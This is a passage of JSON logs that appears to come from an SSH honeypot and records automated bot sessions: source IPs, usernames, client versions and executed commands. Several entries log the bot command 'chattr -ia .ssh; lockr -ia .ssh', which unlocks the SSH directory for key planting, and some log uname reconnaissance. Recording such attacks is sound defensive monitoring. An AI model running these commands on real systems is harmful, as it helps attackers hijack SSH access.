  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:26:05.452188+00:00",
  "ended_at": "2026-08-27T11:26:07.004443+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2186
 },
 {
  "id": "41d8e412-daf7-4266-8ea8-65f8b689c345",
  "name": "peaty-meadow-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 60630,
  "username": "moonbeam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:26:02.065193+00:00",
  "ended_at": "2026-08-27T11:26:02.170145+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "c2a54a67-d7a2-4769-b760-86d57b773a5d",
  "name": "granite-quartz-fossa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59042,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:48.170738+00:00",
  "ended_at": "2026-08-27T11:25:50.103421+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e946322-b3b0-4a41-8174-8fdf7e3823c4",
  "name": "nautical-fleeting-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38880,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:25:47.741804+00:00",
  "ended_at": "2026-08-27T11:25:48.902807+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "11f75755-5d29-4a5b-a226-4d9708e168f1",
  "name": "crimson-lucid-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59036,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:45.456198+00:00",
  "ended_at": "2026-08-27T11:25:47.275765+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "91abbb7b-49ed-451c-8cfe-7e9478c5b09f",
  "name": "bronzed-lawful-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40558,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:25:23.670426+00:00",
  "ended_at": "2026-08-27T11:25:24.758400+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "5e045333-4cff-4c8f-b9e2-56790d228d6c",
  "name": "daring-polar-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38906,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:22.493924+00:00",
  "ended_at": "2026-08-27T11:25:24.025228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04304630-85e2-4080-b4ab-beb9410d3056",
  "name": "frank-vaulted-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38896,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:20.628091+00:00",
  "ended_at": "2026-08-27T11:25:21.952806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2420925-ca37-4ec8-a08d-b6e744997fad",
  "name": "eager-austere-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49662,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:25:01.277460+00:00",
  "ended_at": "2026-08-27T11:25:02.755254+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6792ed8-d40a-454d-923b-a09f5957a47e",
  "name": "crisp-sullen-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49652,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:24:58.942572+00:00",
  "ended_at": "2026-08-27T11:24:59.823315+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fac5bf8f-6c2c-4115-8671-43bb6a8dffaf",
  "name": "glassy-cheerful-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58008,
  "username": "suraj",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:24:11.748677+00:00",
  "ended_at": "2026-08-27T11:24:12.738878+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8840f8d-e482-4e77-9d9f-92a5ac859bb2",
  "name": "weathered-hollow-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55546,
  "username": "pc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:23:50.913027+00:00",
  "ended_at": "2026-08-27T11:23:52.864007+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2166
 },
 {
  "id": "6d33bbab-0798-4389-a569-b7ec3cc5d0ed",
  "name": "barren-rustic-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55558,
  "username": "pc",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:25.139244+00:00",
  "ended_at": "2026-08-27T11:23:26.453467+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "089df90b-985c-492f-b60b-a4a6f4f9e6fa",
  "name": "fickle-fringed-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55550,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:23.527075+00:00",
  "ended_at": "2026-08-27T11:23:24.611024+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c58e1721-0fd6-46fd-a197-2dbcadda5834",
  "name": "somber-merry-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58992,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:23:21.713753+00:00",
  "ended_at": "2026-08-27T11:23:22.669445+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2151
 },
 {
  "id": "fc17aac6-8b1a-43f8-9574-00c541678975",
  "name": "sturdy-gnarled-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 50780,
  "username": "avalanche",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:23:21.120168+00:00",
  "ended_at": "2026-08-27T11:23:21.226243+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "ca02d5c0-e6e1-4d0e-a650-7e09dcaa640a",
  "name": "smooth-misty-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59008,
  "username": "jose",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:04.638437+00:00",
  "ended_at": "2026-08-27T11:23:05.412928+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "660d0e11-3f99-4e11-bbe3-721bb6cbbef3",
  "name": "polar-cheerful-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59000,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:23:03.093840+00:00",
  "ended_at": "2026-08-27T11:23:03.757072+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a75cc1be-52de-4db0-b1cf-2d5b0e5e628d",
  "name": "lucid-rustic-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 48652,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:22:38.955943+00:00",
  "ended_at": "2026-08-27T11:22:40.081557+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2160
 },
 {
  "id": "e1e2f478-51e2-4eef-ba25-f2a486f5956e",
  "name": "downy-placid-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48674,
  "username": "sendmail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:22:16.456169+00:00",
  "ended_at": "2026-08-27T11:22:18.323673+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92c16128-11b9-4d68-ae1a-c477a495d230",
  "name": "regal-crystal-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48666,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:22:12.895822+00:00",
  "ended_at": "2026-08-27T11:22:14.522578+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06819c64-1c2e-4244-8d27-8af746526dd0",
  "name": "faded-supple-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 60158,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:21:53.904943+00:00",
  "ended_at": "2026-08-27T11:21:54.796116+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2165
 },
 {
  "id": "638a7570-1692-4edc-9668-ad21a75e64c7",
  "name": "wiry-blunt-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35752,
  "username": "es",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:21:27.119087+00:00",
  "ended_at": "2026-08-27T11:21:28.275008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e44f1f6a-f102-443f-af43-1d04c5240fd9",
  "name": "tangled-feral-ouzel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 60162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:21:24.889554+00:00",
  "ended_at": "2026-08-27T11:21:26.590605+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "24d7c804-9fde-44f8-8e50-745fa44a1dfe",
  "name": "buoyant-frank-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58984,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:20:44.739478+00:00",
  "ended_at": "2026-08-27T11:20:45.964341+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "35826b42-1934-41c2-9298-e5bef7f1be53",
  "name": "earnest-lofty-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 51142,
  "username": "massa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:20:39.260849+00:00",
  "ended_at": "2026-08-27T11:20:39.372182+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "2df7ee4e-9eb9-4595-b9d9-6be86fdecb18",
  "name": "autumn-zealous-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:20:27.447196+00:00",
  "ended_at": "2026-08-27T11:20:28.290817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52543103-456d-47c6-98b7-f3f76824eea3",
  "name": "jolly-scarlet-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58986,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:20:25.449097+00:00",
  "ended_at": "2026-08-27T11:20:26.549241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10b309e8-a210-4ea5-9afb-99553f4e9272",
  "name": "hidden-vernal-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38484,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:19:55.134526+00:00",
  "ended_at": "2026-08-27T11:19:57.060505+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2156
 },
 {
  "id": "65b2be7b-71af-49b5-95cc-5a8bc3517970",
  "name": "quaint-umber-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43774,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 769,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:19:54.975918+00:00",
  "ended_at": "2026-08-27T11:19:56.508392+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2152
 },
 {
  "id": "40cd5ce4-3abb-46ef-b58a-30354e07daa6",
  "name": "stormy-northern-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53064,
  "username": "newusername",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:33.121962+00:00",
  "ended_at": "2026-08-27T11:19:33.987006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ae32a02-7fd0-448b-a18a-b28db16c0e2d",
  "name": "quaint-frank-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53058,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:29.938590+00:00",
  "ended_at": "2026-08-27T11:19:31.598915+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0987db44-79d1-4897-b92d-2d06cb878fd7",
  "name": "austere-murky-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46274,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:28.959247+00:00",
  "ended_at": "2026-08-27T11:19:30.483231+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9101d68f-4a89-49bf-8852-06cbfd0234ed",
  "name": "sleepy-pristine-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46272,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:19:26.911568+00:00",
  "ended_at": "2026-08-27T11:19:28.440763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0642adb-af0b-4529-9eda-cb5c44c3472a",
  "name": "thorny-gritty-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:18:08.352740+00:00",
  "ended_at": "2026-08-27T11:18:09.823471+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "0c6fc98c-5ef8-4f45-a153-55bc46af1379",
  "name": "honest-earnest-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 11366,
  "username": "veronika",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:55.964876+00:00",
  "ended_at": "2026-08-27T11:17:56.431278+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0842c782-447c-473c-8fed-f1cbb05be2f7",
  "name": "gloomy-hollow-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 36498,
  "username": "bittensor",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:17:55.705436+00:00",
  "ended_at": "2026-08-27T11:17:55.809493+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "31ecbce0-c621-4368-93f6-d98c1d670970",
  "name": "dapper-scarlet-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 34484,
  "username": "cri",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:17:55.068839+00:00",
  "ended_at": "2026-08-27T11:17:56.991047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2130
 },
 {
  "id": "7aa6fbf1-4bfc-4d14-9da0-213ced08c620",
  "name": "brave-gentle-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58970,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:50.503492+00:00",
  "ended_at": "2026-08-27T11:17:51.390234+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "713724bf-74fc-46af-827e-28afb8e4a14f",
  "name": "canny-graceful-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58960,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:48.406765+00:00",
  "ended_at": "2026-08-27T11:17:49.600518+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2088b013-493b-467c-9430-642851a632e7",
  "name": "fabled-tangled-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 43192,
  "username": "cri",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:28.592570+00:00",
  "ended_at": "2026-08-27T11:17:29.955331+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97bf6352-2774-45c3-9000-7be6646f7f2c",
  "name": "prairie-foggy-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 43184,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:17:27.093379+00:00",
  "ended_at": "2026-08-27T11:17:28.085179+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb6850c9-3610-49ea-a531-8970c147c7ab",
  "name": "foggy-alpine-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 37220,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 747,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:17:14.435360+00:00",
  "ended_at": "2026-08-27T11:17:15.792348+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2134
 },
 {
  "id": "80588f09-5b45-433c-a7ba-5bcf10e4eeba",
  "name": "marbled-bitter-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38824,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:16:52.602182+00:00",
  "ended_at": "2026-08-27T11:16:54.497596+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1bd9376-f15f-4114-ae96-f0bfbadd3e94",
  "name": "valiant-lively-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38816,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:16:50.222430+00:00",
  "ended_at": "2026-08-27T11:16:51.109160+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b27942d-0dcd-45e3-a7e8-f4ed857f93af",
  "name": "indigo-lunar-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 41584,
  "username": "internet",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:15:51.417278+00:00",
  "ended_at": "2026-08-27T11:15:52.767016+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2134
 },
 {
  "id": "08395037-5832-4e3f-ac30-55c5752178df",
  "name": "glacial-arctic-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58916,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:15:26.463226+00:00",
  "ended_at": "2026-08-27T11:15:27.965331+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "a3f8f2ed-2b61-433d-a362-9e2910535479",
  "name": "burly-windswept-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41606,
  "username": "internet",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:24.924167+00:00",
  "ended_at": "2026-08-27T11:15:26.118744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac2c9b33-025c-4ce2-8599-34b6c14c829d",
  "name": "bashful-watchful-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41598,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:23.273706+00:00",
  "ended_at": "2026-08-27T11:15:24.373003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "048c8dea-508a-4a4f-92dc-f6b121532f76",
  "name": "coastal-hushed-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58944,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:15:08.964837+00:00",
